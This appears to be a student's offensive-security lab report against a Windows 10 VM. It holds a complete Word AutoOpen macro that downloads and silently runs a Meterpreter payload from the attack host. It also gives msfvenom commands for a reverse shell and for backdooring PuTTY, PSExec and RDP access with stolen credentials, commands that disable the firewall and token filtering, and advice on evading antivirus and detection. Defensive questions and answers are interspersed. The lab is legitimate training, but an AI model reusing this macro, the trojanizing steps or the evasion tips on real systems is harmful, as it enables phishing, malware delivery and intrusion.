Document your environment before starting the tasks (Windows 10 VM on Proxmox, champuser/admin access, Kali/attack VM with Metasploit, network connectivity between the two).

ping 10.0.17.53
ping 10.0.17.37

msfconsole -v

Confirm Microsoft Word was installed successfully on the Windows 10 host as champuser.

Objective: Create a malicious macro in Microsoft Word that downloads and executes a payload from your Metasploit handler.

MITRE ATT&CK Technique ID: T1059.005 (Command and Scripting Interpreter: Visual Basic), the macro itself. Also related: T1566 (Phishing, the delivery vector) and T1204 (User Execution, opening the doc/enabling content)

Navigate to View > Macros > View Macros, enter AutoOpen as the Macro Name, and click Create.

Paste the provided macro code into the VBA editor and replace YOUR_ACTUAL_IP (and PORT) with your attack VM's IP and listener port.

Sub AutoOpen()
    Dim objShell As Object
    Dim objHTTP As Object
    Dim objStream As Object
    Dim strPath As String
    Dim strURL As String
    
    ' --- CONFIGURATION ---
    ' REPLACE THIS WITH YOUR ACTUAL IP ADDRESS AND RAT NAME
    strURL = "http://10.0.17.37:8000/RAT.exe"
    strPath = Environ("USERPROFILE") & "\Documents\launcher.exe"
    ' ---------------------
 
    ' 1. Validate URL
    If InStr(strURL, "YOUR_ACTUAL_IP") > 0 Then
        MsgBox "ERROR: You must replace YOUR_ACTUAL_IP with your real IP address.", vbCritical
        Exit Sub
    End If
    
    On Error GoTo ErrHandler
    
    ' 2. Download File
    Set objHTTP = CreateObject("MSXML2.XMLHTTP")
    objHTTP.Open "GET", strURL, False
    objHTTP.Send
    
    If objHTTP.Status <> 200 Then
        MsgBox "Download Failed. HTTP Status: " & objHTTP.Status, vbCritical
        Exit Sub
    End If
    
    ' 3. Save File
    Set objStream = CreateObject("ADODB.Stream")
    objStream.Type = 1 ' adTypeBinary
    objStream.Open
    objStream.Write objHTTP.ResponseBody
    objStream.Position = 0
    objStream.SaveToFile strPath, 2 ' adSaveCreateOverWrite
    objStream.Close
    
    ' 4. Verify File Exists
    If Dir(strPath) = "" Then
        MsgBox "CRITICAL: File was not saved to disk.", vbCritical
        Exit Sub
    End If
    
    ' 5. Run File
    Set objShell = CreateObject("WScript.Shell")
    ' Use cmd /c to ensure proper batch execution
    objShell.Run "cmd /c """ & strPath & """", 0, False
    
    Exit Sub
 
ErrHandler:
    MsgBox "ERROR " & Err.Number & ": " & Err.Description, vbCritical
End Sub

Video: VBA editor with macro code being pasted

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<10.0.17.37> LPORT=<6000> -f exe -o RAT.exe
python3 -m http.server 8000 

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.17.37
set LPORT 6000
run

Click the Play button in the VBA editor to run AutoOpen.

Video: macro executing and the download occurring

sessions -l
sessions -i <SESSION_ID>

Video: Showing sessions

AutoOpen is a reserved VBA macro name that Word invokes automatically the moment the document is opened and macros are enabled, no further user interaction is required. Once triggered, the macro uses the MSXML2.XMLHTTP object to issue an HTTP GET request to the attacker's server and pull down the payload as raw bytes. Because HTTP responses arrive as text by default, the macro switches to an ADODB.Stream object in binary mode (Type = 1) to correctly write those bytes to disk as a valid .exe (launcher.exe) in the user's Documents folder — a plain file write would corrupt the binary. Finally, WScript.Shell.Run spawns the saved executable in a hidden window (0 for window style), handing off execution to the downloaded payload, which in this lab is a Meterpreter stager that calls back to the attacker's listener. The whole chain — trigger, download, save, execute — happens within seconds of the document being opened, with no separate click required from the victim.

sessions -K
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <ATTACK_VM_IP>
set LPORT <PORT>
run

1. Why is the "AutoOpen" macro name significant?

AutoOpen is one of the reserved Word macro names that the application recognizes and executes automatically on document open. Any other macro name would sit until the user manually ran it, which would never happens in a real phishing scenario. Naming it AutoOpen is what turns "open an attachment" into "run code," collapsing the required victim interaction down to opening the file and clicking "Enable Content."

2. What defensive measures can organizations implement to block macro-based attacks?

Disable macros from the internet by default via Group Policy, restrict execution to macros signed by a trusted certificate, filter macro enabled attachments at the email gateway, and run regular phishing-awareness training so users are less likely to enable content on an unexpected document.

Objective: Embed a Meterpreter payload into a legitimate Windows executable using msfvenom while preserving its original functionality.

MITRE ATT&CK Technique ID: T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain) is the primary. Also T1036 (Masquerading, the backdoored file presents as the legitimate app)

Identify the legitimate Windows program you will backdoor (e.g., PuTTY, WinSCP).

I will be using PuTTY for this task, specifically the binary downloaded here

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACK_VM_IP> LPORT=<PORT> \
  -x <PATH_TO_ORIGINAL_EXE> -k -f exe -o <BACKDOORED_EXE_NAME>.exe

# flags to know
-x - use the real putty.exe as the template
-k - keeps the original execution untouched to not disturb operability
-o - output the backdoored binary

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <ATTACK_VM_IP>
set LPORT <PORT>
run

python3 -m http.server 8000

sessions -l
sessions -i <SESSION_ID>
getuid

Demonstrate the backdoored application still performs its normal function (e.g., PuTTY still connects to an SSH server).

Video pt 1 Video pt 2

msfvenom's -x flag wraps the Meterpreter payload around a legitimate template executable, and -k ("keep") launches that payload on its own thread separate from the original program's main execution path. The result is a single file that when run does two things at once: it executes the real application exactly as the user expects, and it makes a reverse connection back to the attacker's listener in the background. This is evasive because there's no separate suspicious file for the user to notice. The maliciousness is inside the software the user already runs. It's not "persistence" in the sense of surviving reboot on its own, but every time the user launches the trojan app, the attacker gets another for a callback, which is functionally similar to persistence as long as the user keeps using that program.

1. Why is it difficult for antivirus software to detect backdoored executables?

Traditional AV relies heavily on signature matching against known malicious file hashes and byte patterns. Because msfvenom can regenerate a payload with a different template, encoder, or padding on every build, the resulting file's hash and byte content are unique each time, so signatures trained on previous samples don't match. The payload also executes inside an otherwise legitimate binary, which can pass soft checks that AV engines partly rely on. Detection improves with dynamic/behavioral EDR that watches for the process spawning a second thread that opens a network connection, but static file scanning alone is often insufficient.

2. How could an attacker distribute a backdoored executable at scale?

Common ways include hosting the trojanized file on a fake download site made to rank in search results (SEO poisoning), advertising that redirects users to a malicious download link, compromising a legitimate software vendor's website or update/build server, seeding it on torrent sites as "cracked" software, or mass emailing it as a phishing attachment or link.

3. What is the risk of using unsigned or unverified software from third-party sources?

Objective: Use stolen champuser credentials with Metasploit's PSExec module to gain remote access, then enumerate the host with Meterpreter.

MITRE ATT&CK Technique ID: T1021.002 (Remote Services: SMB/Windows Admin Shares) is how PSExec-style tools move laterally over SMB. Also related is T1078 (Valid Accounts, the stolen champuser credentials)

Add the required registry key on the Windows 10 VM to allow PSExec (non-admin token filtering bypass), then disable the Windows Firewall for this exercise.

REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

netsh advfirewall set allprofiles state off

msfconsole
use exploit/windows/smb/psexec
set RHOSTS <WINDOWS_10_VM_IP>
set SMBUser champuser
set SMBPass <CHAMPUSER_PASSWORD>
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <ATTACK_VM_IP>
set LPORT <NON_DEFAULT_PORT>

run
getuid

For each command: exact command run, screenshot/clip, and an explanation of what the output reveals to an attacker.

ipconfig

This reveals the host's internal network configuration; IP address, subnet mask, default gateway, and DNS servers. It tells the attacker which network segment the compromised host sits on and what other internal IP ranges might be reachable for lateral movement.

sysinfo

This reveals the OS name, build/version, architecture, and whether the host is joined to a domain or not. Knowing the patch version helps the attacker pick working exploits, and domain membership whether compromising this one host could be leading into a broader AD environment.

ps

This lists all running processes, which lets the attacker identify installed security software, spot other logged in users' processes, and find applications that could be worth targeting next.

netstat -an

This shows all active and listening network connections on the host. It also shows other systems this machine regularly talks to (pivot targets?) and any locally listening services that could be exploited or that indicate internal infrastructure.

arp -a

This lists the host's ARP cache; other devices on the same local subnet it has recently communicated with. It's a fast way to map nearby live hosts on the local network segment without generating a full port scan, which is quieter and less likely to trigger alerts.

route

This shows the host's routing table, revealing additional network segments it can reach beyond its immediate subnet such as VPN routes, secondary NICs, static routes to other VLANs, which is useful for planning where to pivot to next.

getprivs

This lists the Windows privileges available to the current token (SeDebugPrivilege, SeImpersonatePrivilege). It tells the attacker whether the compromised account has enough rights to escalate privileges or perform sensitive actions without needing a separate privilege escalation exploit.

run post/windows/gather/enum_logged_on_users

This enumerates which user accounts are currently or recently logged onto the host. It helps the attacker identify targets of higher value, like an active session admin account, worth targeting for credential theft or impersonation.

run post/windows/gather/enum_applications

This lists installed applications on the host. It can reveal outdated or vulnerable software worth exploiting, remote access or admin tools already present that the attacker could reuse, and general information about the host's role in the environment.

use post/windows/manage/screen_spy
set SESSION <SESSION_ID>
run

Video part 1: Enumeration Video part 2: Screenshare Module

1. Why would you use reverse_https instead of reverse_tcp?

reverse_https wraps the C2 traffic in TLS encrypted HTTPS, which is one of the most common protocols on any network and blends in with ordinary web browsing. A raw reverse_tcp connection is plaintext and uses no standard application layer protocol, making it far easier for network monitoring, IDS/IPS, and packet inspection to flag as weird. The encryption also hides the content of the C2 traffic from anyone doing basic packet capture analysis.

2. Why is using a non-default port important for operational security?

   Port 4444 is Metasploit's default listener port, and it's specifically called out in threat hunting playbooks, IDS signatures, and SOC detection rules as a strong indicator of Metasploit activity. Choosing an uncommon or web traffic adjacent port (like 443 or 8443) avoids an easy Identification and makes the traffic look more like legitimate outbound connections, improving the attacker's chances of staying undetected.

3. Which of the 9 enumeration commands revealed the most valuable information for lateral movement and why?

   Netstat -an was the most valueble, it listed directly the other IP addresses the machine is actively communicating with and the ports involved, basically a ready made target list for attackers to go down the line with. Any address showing an established connection is a system this host already talks to, meaning there's likely a trust relationship, shared service, or network path already open to it, which lowers the effort needed to pivot there next, and because it shows active communication and not just a presence on a subnet like arp -a, an attacker can prioritize the host target is actively talking to rather than one that's just reachable by the host

4. How does the getuid output confirm the stolen credential attack was successful?

   Getuid reports the Windows account context the Meterpreter session is actually running as. Seeing it return champuser essentially confirms that authentication succeeded specifically because of those stolen credentials, and ties the session directly back to the credential attack path being demonstrated.

Objective: Enable RDP on the Windows 10 target and establish a graphical remote session using compromised (champuser) credentials.

MITRE ATT&CK Technique ID: T1021.001 (Remote Services: Remote Desktop Protocol) — related: T1078 (Valid Accounts, the compromised champuser credentials used to authenticate)

Enable Remote Desktop via System Properties, Group Policy, or the registry/firewall commands below.

REG ADD "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=yes

netstat -an | findstr 3389

xfreerdp3 /u:champuser /p:<CHAMPUSER_PASSWORD> /v:<WINDOWS_10_VM_IP> /cert:ignore

Video: RDP client connection command from the attack VM through to the desktop appearing, with a brief exploration of the remote desktop to prove interactive access:

Once an attacker has valid credentials — whether from phishing, credential dumps, brute forcing, or a prior compromise — RDP gives them a fully interactive, graphical session that looks identical to a legitimate remote administrator or employee logging in. Because RDP is a normal, widely-used business tool, connections often don't stand out the way a raw reverse shell would, especially if the source IP and account are already trusted or if the organization allows RDP broadly. Groups like Scattered Spider and LAPSUS$ have used exactly this pattern: obtain valid credentials through social engineering, then authenticate via RDP directly rather than relying on malware, which reduces the number of detectable artifacts an EDR product would otherwise catch. From there, the attacker has hands-on-keyboard access to browse files, run GUI tools, and move to other systems the account has access to, blending "legitimate remote work" with actual intrusion activity.

1. How does an RDP session differ from a Meterpreter session in terms of attacker capabilities?

   RDP provides a full graphical desktop identical to sitting at the machine, but it's harder to script or automate across many hosts and it creates a visible interactive logon session the legitimate user could notice. Meterpreter has no GUI is rendered to the attacker, but it's scriptable, supports automated post exploit modules, can run in the background without an interactive desktop session, and is easier to chain across multiple compromised hosts at once.

2. Why is RDP a preferred method for attackers who want to interact with a graphical environment?

   Some tasks are simply faster or only possible with a GUI, browsing an unfamiliar file structure, using GUI only internal tools, interacting with visual dashboards, or navigating software that has no scriptable interface. RDP gives the attacker the exact same experience a legitimate user or admin has, without needing to translate every action into a cli equivalent.

3. What network monitoring indicators would suggest unauthorized RDP access?

   Logons at unusual hours or from unfamiliar source IPs, a spike in failed RDP authentication attempts (possible brute forcing), one account authenticating via RDP to many different hosts in a short window, RDP connections immediately following another suspicious event like a phishing click, inbound port 3389 traffic from unexpected internal subnets or external addresses, and Windows Event ID 4624 logon type 10 (RemoteInteractive) entries tied to accounts that don't normally use RDP.

4. How can organizations restrict RDP access to reduce the attack surface?

   Disable RDP on hosts that don't need it; never expose RDP directly to the internet, require a VPN or RDP Gateway/jump box first, require mfa for RDP logons; restrict allowed source IPs via firewall rules to known management ranges; enforce strong, unique passwords and account lockout policies; and actively monitor/alert on RDP logon events, especially for privileged accounts.

1. What did you like the most about this exercise? I really enjoyed the active view of how information reconnaissance is done with the lolbins we researched, as well as being able to go through the motions multiple times in order to get the process down pat.
2. What did you like the least about this exercise? I think the first two parts worked the least for me, I just had a lot of trouble and in perspective to the other two parts which I found quite easy it just wasn't as enjoyable